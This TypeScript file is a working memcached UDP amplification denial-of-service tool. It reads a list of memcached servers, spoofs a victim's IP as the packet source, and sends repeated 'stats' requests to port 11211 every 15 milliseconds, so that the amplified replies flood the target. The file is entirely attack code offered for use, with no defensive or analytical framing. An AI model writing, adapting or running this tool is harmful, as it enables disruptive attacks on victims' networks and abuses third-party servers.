main.ts

import * as fs from "fs"
import PacketUtils from "./PacketUtils"
import RawUdp from "./RawUdp"

const argv = require("optimist")
    .usage("Usage: $0 --list [memcache server list file] --ip [target ip] --port [target port]")
    .demand(["list", "ip", "port"])
    .argv;

function attack() {
    var command = Buffer.from("stats\r\nstats\r\nstats\r\nstats items\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\n");
    var buffer = new Buffer(8);

    buffer.writeUInt16BE(0, 0);
    buffer.writeUInt16BE(0, 2);
    buffer.writeUInt16BE(1, 4);
    buffer.writeUInt16BE(0, 6);

    buffer = Buffer.concat([buffer, command]);

    var rawUdp = new RawUdp();

    return function (sourceIP: string, sourcePort: number, targetIP: string, targetPort: number) {
        var sip = PacketUtils.stringToIpAddress(sourceIP);
        var dip = PacketUtils.stringToIpAddress(targetIP);
        rawUdp.send(sip, sourcePort, dip, targetPort, buffer);
    }
}

var sendAttackPacket = attack();
var list = fs.readFileSync(argv.list).toString().split("\n");

function loop() {
    for (const ip of list) {
        sendAttackPacket(argv.ip, argv.port, ip, 11211)
    }
    setTimeout(loop, 15);
}
loop();